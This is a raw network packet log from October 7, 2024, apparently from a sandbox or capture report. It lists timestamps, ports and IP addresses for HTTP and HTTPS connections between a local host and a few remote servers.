Oct 7, 2024 18:43:20.799853086 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.799873114 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.799892902 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.799907923 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.799918890 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.799927950 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.799937963 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.799947023 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.800014019 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.800023079 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.800033092 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.800040960 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.800050020 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.800057888 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.800074100 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.800082922 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.800091982 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.800101042 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.800107002 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:20.800107002 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:20.800107956 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:20.800116062 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.800107956 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:20.800107956 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:20.800107956 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:20.800126076 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.800134897 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.800143003 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.800158024 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.800169945 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.800178051 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:20.800178051 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:20.800179005 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.800178051 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:20.800190926 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.800195932 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:20.800201893 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.800213099 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.800215006 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:20.800260067 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:20.800260067 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:20.800302029 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.800312042 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.800321102 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.800329924 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.800338984 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.800348997 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.800357103 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.800365925 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.800374985 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.800375938 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:20.800375938 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:20.800391912 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.800401926 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.800410032 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:20.800410032 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:20.800415039 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.800429106 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.800436974 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.800443888 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:20.800443888 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:20.800446033 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.800457001 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.800479889 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:20.800481081 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:20.800507069 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:20.800514936 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.800523996 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.800565958 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:20.800565958 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:20.800574064 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.800585985 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.800690889 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:20.800695896 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.800705910 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.800714970 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.800724030 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.800755978 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:20.800756931 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.800755978 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:20.800766945 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.800776958 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.800787926 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.800796032 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.800821066 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:20.800821066 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:20.800848961 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:20.801002979 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.801012039 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.801019907 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.801034927 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.801043987 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.801050901 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.801060915 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.801069975 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.801078081 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.801080942 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:20.801080942 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:20.801107883 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:20.801107883 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:20.801367044 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.801378012 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.801387072 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.801430941 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.801440001 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.801449060 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.801453114 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:20.801459074 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.801476002 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:20.801503897 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:20.801503897 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:20.889519930 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.889585972 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:21.560270071 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:21.560316086 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:21.566778898 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:21.567265034 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:21.629746914 CEST	443	49724	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:21.630178928 CEST	49724	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:21.630207062 CEST	443	49724	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:21.630631924 CEST	49724	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:21.630637884 CEST	443	49724	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:21.640957117 CEST	443	49725	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:21.641280890 CEST	49725	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:21.641305923 CEST	443	49725	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:21.641618967 CEST	49725	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:21.641623974 CEST	443	49725	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:21.650672913 CEST	443	49726	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:21.654097080 CEST	49726	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:21.654105902 CEST	443	49726	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:21.654450893 CEST	49726	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:21.654454947 CEST	443	49726	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:21.904968977 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:21.905057907 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:21.929903984 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:21.935163021 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:21.948461056 CEST	443	49724	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:21.948523045 CEST	443	49724	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:21.948725939 CEST	49724	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:21.949080944 CEST	49724	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:21.949131012 CEST	443	49724	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:21.949167013 CEST	49724	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:21.949183941 CEST	443	49724	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:21.951318026 CEST	443	49725	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:21.951391935 CEST	443	49725	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:21.951448917 CEST	49725	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:21.951538086 CEST	49725	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:21.951538086 CEST	49725	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:21.951553106 CEST	443	49725	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:21.951560020 CEST	443	49725	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:21.951630116 CEST	49728	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:21.951674938 CEST	443	49728	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:21.951745033 CEST	49728	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:21.951867104 CEST	49728	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:21.951889038 CEST	443	49728	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:21.953083038 CEST	443	49726	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:21.953239918 CEST	443	49726	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:21.953305006 CEST	49726	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:21.953339100 CEST	49726	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:21.953339100 CEST	49726	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:21.953344107 CEST	443	49726	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:21.953351021 CEST	443	49726	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:21.954267025 CEST	49729	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:21.954304934 CEST	443	49729	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:21.954490900 CEST	49729	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:21.954490900 CEST	49729	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:21.954519033 CEST	443	49729	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:21.955148935 CEST	49730	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:21.955163002 CEST	443	49730	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:21.955344915 CEST	49730	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:21.955344915 CEST	49730	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:21.955374002 CEST	443	49730	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:22.133680105 CEST	443	49719	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:22.135584116 CEST	49719	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:22.135601044 CEST	443	49719	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:22.136151075 CEST	49719	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:22.136154890 CEST	443	49719	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:22.147231102 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:22.147268057 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:22.147300005 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:22.147324085 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:22.147324085 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:22.147368908 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:22.150625944 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:22.152370930 CEST	443	49723	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:22.152779102 CEST	49723	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:22.152801037 CEST	443	49723	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:22.153219938 CEST	49723	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:22.153225899 CEST	443	49723	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:22.158708096 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:22.234754086 CEST	443	49719	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:22.234929085 CEST	443	49719	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:22.234982967 CEST	49719	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:22.235078096 CEST	49719	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:22.235090971 CEST	443	49719	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:22.235100985 CEST	49719	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:22.235105038 CEST	443	49719	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:22.237884045 CEST	49731	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:22.237925053 CEST	443	49731	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:22.237993956 CEST	49731	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:22.238178015 CEST	49731	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:22.238193989 CEST	443	49731	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:22.251665115 CEST	443	49723	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:22.251838923 CEST	443	49723	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:22.251918077 CEST	49723	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:22.251918077 CEST	49723	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:22.251949072 CEST	49723	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:22.251959085 CEST	443	49723	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:22.254545927 CEST	49732	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:22.254643917 CEST	443	49732	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:22.254734993 CEST	49732	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:22.254898071 CEST	49732	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:22.254936934 CEST	443	49732	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:22.330106020 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:22.330185890 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:22.340615034 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:22.346266985 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:22.552047014 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:22.552279949 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:22.555403948 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:22.560430050 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:22.623092890 CEST	443	49729	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:22.623678923 CEST	49729	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:22.623696089 CEST	443	49729	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:22.624224901 CEST	49729	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:22.624239922 CEST	443	49729	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:22.625173092 CEST	443	49730	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:22.625808954 CEST	49730	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:22.625822067 CEST	443	49730	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:22.625936031 CEST	49730	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:22.625940084 CEST	443	49730	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:22.633709908 CEST	443	49728	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:22.634320021 CEST	49728	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:22.634320021 CEST	49728	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:22.634355068 CEST	443	49728	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:22.634372950 CEST	443	49728	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:22.721098900 CEST	443	49729	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:22.721245050 CEST	443	49729	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:22.721344948 CEST	49729	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:22.721560955 CEST	49729	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:22.721560955 CEST	49729	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:22.721580029 CEST	443	49729	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:22.721590042 CEST	443	49729	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:22.724333048 CEST	49733	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:22.724371910 CEST	443	49733	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:22.724446058 CEST	49733	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:22.724550009 CEST	49733	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:22.724556923 CEST	443	49733	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:22.725349903 CEST	443	49730	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:22.725498915 CEST	443	49730	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:22.725574970 CEST	49730	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:22.725780010 CEST	49730	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:22.725780964 CEST	49730	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:22.725785971 CEST	443	49730	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:22.725792885 CEST	443	49730	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:22.727710009 CEST	49734	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:22.727716923 CEST	443	49734	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:22.727778912 CEST	49734	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:22.731506109 CEST	49734	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:22.731517076 CEST	443	49734	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:22.732964039 CEST	443	49728	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:22.733078957 CEST	443	49728	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:22.733139038 CEST	49728	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:22.733222961 CEST	49728	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:22.733247042 CEST	443	49728	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:22.733261108 CEST	49728	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:22.733268976 CEST	443	49728	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:22.735383034 CEST	49735	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:22.735476971 CEST	443	49735	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:22.735558033 CEST	49735	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:22.735737085 CEST	49735	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:22.735775948 CEST	443	49735	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:22.766438961 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:22.766709089 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:22.816920042 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:22.822014093 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:22.822082043 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:22.823404074 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:22.829519033 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:22.885184050 CEST	443	49731	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:22.886051893 CEST	49731	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:22.886051893 CEST	49731	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:22.886080980 CEST	443	49731	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:22.886104107 CEST	443	49731	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:22.899274111 CEST	443	49732	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:22.899884939 CEST	49732	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:22.899955034 CEST	443	49732	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:22.900367975 CEST	49732	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:22.900383949 CEST	443	49732	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:22.982275009 CEST	443	49731	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:22.982440948 CEST	443	49731	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:22.982570887 CEST	49731	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:22.982570887 CEST	49731	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:22.982763052 CEST	49731	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:22.982785940 CEST	443	49731	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:22.985295057 CEST	49737	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:22.985378027 CEST	443	49737	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:22.985464096 CEST	49737	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:22.985647917 CEST	49737	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:22.985682011 CEST	443	49737	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:23.000763893 CEST	443	49732	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:23.000912905 CEST	443	49732	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:23.001095057 CEST	49732	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:23.001184940 CEST	49732	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:23.001184940 CEST	49732	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:23.001229048 CEST	443	49732	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:23.001261950 CEST	443	49732	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:23.003043890 CEST	49738	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:23.003072977 CEST	443	49738	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:23.003146887 CEST	49738	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:23.003463984 CEST	49738	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:23.003489971 CEST	443	49738	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:23.351305008 CEST	443	49733	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:23.352236986 CEST	49733	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:23.352257967 CEST	443	49733	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:23.353084087 CEST	49733	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:23.353089094 CEST	443	49733	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:23.359569073 CEST	443	49734	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:23.359985113 CEST	49734	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:23.359998941 CEST	443	49734	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:23.360610962 CEST	49734	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:23.360615015 CEST	443	49734	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:23.381880045 CEST	443	49735	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:23.382282972 CEST	49735	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:23.382344961 CEST	443	49735	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:23.382678032 CEST	49735	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:23.382694006 CEST	443	49735	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:23.416369915 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.416418076 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.416441917 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.416471958 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.416485071 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.416497946 CEST	80	49736	147.45.44.104	192.168.2.7
